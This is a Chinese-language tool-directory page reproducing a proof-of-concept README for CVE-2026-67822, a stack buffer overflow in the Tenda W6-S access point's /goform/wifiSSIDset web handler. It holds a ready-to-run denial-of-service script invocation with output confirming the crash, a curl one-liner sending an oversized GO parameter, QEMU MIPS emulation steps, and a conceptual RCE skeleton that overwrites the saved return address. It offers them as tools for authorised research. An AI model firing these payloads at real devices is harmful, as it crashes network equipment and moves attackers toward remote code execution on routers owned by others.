Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
go-without-bounds-cve-2026-67822-stack-overflow-in-tenda-w6-s-wifissidset — CVE-2026-67822(Tenda W6-S /goform/wifiSSIDset 栈溢出)的 PoC:DoS 复现程序、QEMU MIPS 仿真层与概念性 RCE 载荷骨架。 | Kitploit
工具/GitHubGitHub/hunt-benito/go-without-bounds-cve-2026-67822-stack-overflow-in-tenda-w6-s-wifissidset
嵌入式系统安全动态分析 (沙盒)物联网安全漏洞分析漏洞利用硬件与物联网安全Payload 开发固件分析二进制利用

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
GitHubhunt-benito/go-without-bounds-cve-2026-67822-stack-overflow-in-tenda-w6-s-wifissidset

go-without-bounds-cve-2026-67822-stack-overflow-in-tenda-w6-s-wifissidset

CVE-2026-67822(Tenda W6-S /goform/wifiSSIDset 栈溢出)的 PoC:DoS 复现程序、QEMU MIPS 仿真层与概念性 RCE 载荷骨架。

查看仓库
13天前尚未审核

CVE-2026-67822 — Tenda W6-S wifiSSIDset 栈缓冲区溢出(PoC)

Hunt-Benito 文章的配套 PoC "GO 无边界:CVE-2026-67822 — Tenda W6-S 的 wifiSSIDset 表单处理器中的栈溢出"。

CVE-2026-67822(CVSS 9.8 严重,CWE-121)是 Tenda W6-S 无线接入点的 /bin/httpd(一个源自 GoAhead 的 Web 服务器)中 /goform/wifiSSIDset 端点背后的 C 函数 formwrlSSIDset() 中存在的一个基于栈的缓冲区溢出漏洞。

root@kitploit:~
char  v34[64];                                  /* 64-byte stack buffer       */
GO    = websGetVar(a1, "GO",    "wireless_basic.asp");
index = websGetVar(a1, "index", "0");
sprintf(v34, "/%s?index=%s", GO, index);        /* unbounded -> stack overflow */

已确认的影响: 拒绝服务(httpd 崩溃)。 潜在的影响: 远程代码执行(MIPS,该构建无栈金丝雀 / 无 ASLR)。


仓库内容


快速开始:DoS 复现

针对真实 W6-S(默认局域网 IP 192.168.5.10)或仿真实例:

root@kitploit:~
$ python3 poc_dos.py --target http://192.168.5.10
[*] Target  : http://192.168.5.10/goform/wifiSSIDset
[*] Payload : GO = 2000 bytes ('A'), index = 0
[*] Sending POST...
[+] HTTP response: 200 (httpd accepted the request before crashing)
[*] Re-probing the management interface...
[!] httpd no longer responds (connection refused) — service crashed.
[+] Result: denial of service CONFIRMED.

等效的单行命令:

root@kitploit:~
$ curl -s http://192.168.5.10/goform/wifiSSIDset \
    -d "GO=$(python3 -c "print('A'*2000)")&wl_radio=0&index=0"

请求返回后,管理接口将一直无响应,直到重新上电。


无需硬件复现(QEMU MIPS + fake_apmib.so)

/bin/httpd 期望真实的 Tenda 硬件环境(libapmib.so、cfmd 守护进程、局域网 MAC)。fake_apmib.c 垫片仅伪造了其中足够的部分,使 httpd 能在仿真的固件文件系统内启动。该设置复刻了原研究者的技术。

1. 为 MIPS 大端序构建垫片

root@kitploit:~
$ mips-linux-gnu-gcc -shared -fPIC -o fake_apmib.so fake_apmib.c

2. 主机网络 — 网桥 + TAP

root@kitploit:~
$ sudo brctl addbr virbr0
$ sudo ifconfig virbr0 192.168.5.1/24 up
$ sudo tunctl -t tap0
$ sudo ifconfig tap0 192.168.5.11/24 up
$ sudo brctl addif virbr0 tap0

3. 启动 MIPS Malta 客户机

root@kitploit:~
$ sudo qemu-system-mips -M malta \
    -kernel vmlinux-3.2.0-4-4kc-malta \
    -hda debian_wheezy_mips_standard.qcow2 \
    -append "root=/dev/sda1" \
    -netdev tap,id=tapnet,ifname=tap0,script=no \
    -device rtl8139,netdev=tapnet \
    -nographic

4. 在客户机内:配置接口并部署固件

root@kitploit:~
guest# ifconfig eth0 192.168.5.10
# copy the extracted firmware filesystem + the shim onto the guest
$ scp ./squashfs-root.tar.gz  [email protected]:/root/
$ scp ./fake_apmib.so         [email protected]:/root/squashfs-root/

5. Chroot 并使用垫片启动 httpd

root@kitploit:~
guest# mount -o bind /proc ./squashfs-root/proc
guest# mount -o bind /dev  ./squashfs-root/dev
guest# rm ./squashfs-root/webroot && ln -s /webroot_ro ./squashfs-root/webroot
guest# chroot ./squashfs-root/ /bin/sh
chroot# mkdir -p /var/run /tmp && chmod 1777 /tmp
chroot# LD_PRELOAD=/fake_apmib.so /bin/httpd &

现在可通过 http://192.168.5.10 访问管理接口(默认登录名 admin / admin),poc_dos.py 在它上面的运行效果与在真实硬件上完全相同。

Tenda 内部 apmib/cfmd 辅助函数的确切原型因固件构建而异。请对照目标的真实 libapmib.so(objdump -T libapmib.so / IDA)进行确认,并按需调整 fake_apmib.c。


概念性 RCE 路径

exploit_conceptual.py 记录了 DoS 之外的利用形态:

root@kitploit:~
# 1) Find the offset from the GO buffer to saved $ra on YOUR firmware build
$ python3 exploit_conceptual.py --target http://192.168.5.10 probe --len 256
# (read the faulting $ra / PC from the QEMU crash dump or a gdb stub, then
#  feed it to cyclic_offset() to recover the exact offset)

# 2) Build a payload that overwrites $ra with a chosen address
$ python3 exploit_conceptual.py --target http://192.168.5.10 build --offset <N> --ra 0x<AABBCCDD>

此骨架仅重定向 $ra。 要将劫持转化为实际的代码执行,需要非 NX 栈的 shellcode,或由特定固件镜像中的 gadget 拼装而成的 ROP 链 — 两者均与具体构建相关,且有意留给研究者完成。DoS 已得到确认;RCE 是 CVSS 向量(C:H/I:H)所反映的合理的最坏情况。


法律 / 负责任地使用

此代码仅供经授权的安全研究使用。请仅在您拥有或已获得明确书面测试许可的设备上运行。请勿将其用于您无法控制的网络或硬件。

参考资料

  • NIST NVD — CVE-2026-67822: https://nvd.nist.gov/vuln/detail/CVE-2026-67822
  • 原始 PoC 文章(trister): https://github.com/Tristerjh/Tenda/blob/main/Tenda_W6-S_GO_overflow.md
  • MITRE CWE-121: https://cwe.mitre.org/data/definitions/121.html
  • Tenda W6-S 产品页面: https://www.tendacn.com/material/show/103478
下载工具
受影响产品Tenda W6-S 无线接入点
受影响固件v1.0.0.4(510)
CVSS v3.19.8 严重(AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
CWECWE-121(基于栈的缓冲区溢出)
存在漏洞的端点POST /goform/wifiSSIDset(参数 GO、index)
发现者 / 致谢trister
文件用途
poc_dos.py已确认的 DoS 复现脚本。 发送超大的 GO 参数并检测由此导致的 httpd 崩溃。仅使用标准库 — 无依赖。
exploit_conceptual.py概念性 RCE 骨架。 演示控制流劫持的形态(填充至已保存的 $ra 并覆盖),并提供一个循环模式辅助工具,用于通过实验推导出到 $ra 的偏移量。不附带可用的 shellcode 或 gadget 地址。
fake_apmib.cLD_PRELOAD 垫片,用于伪造 Tenda 硬件/MIB 调用,使 /bin/httpd 能在 QEMU MIPS 客户机中启动 — 这是在无物理设备的情况下复现该漏洞所用的技术。
垫片拦截返回原因
apmib_init()1跳过硬件/MIB 初始化
ConnectCfm()1假装 cfmd 守护进程已应答
GetValue("lan.ip", …)192.168.5.10静态管理 IP
ioctl(SIOCGIFHWADDR)00:11:22:33:44:55伪造的 MAC
connect()透传unix 套接字/TCP 连接正常完成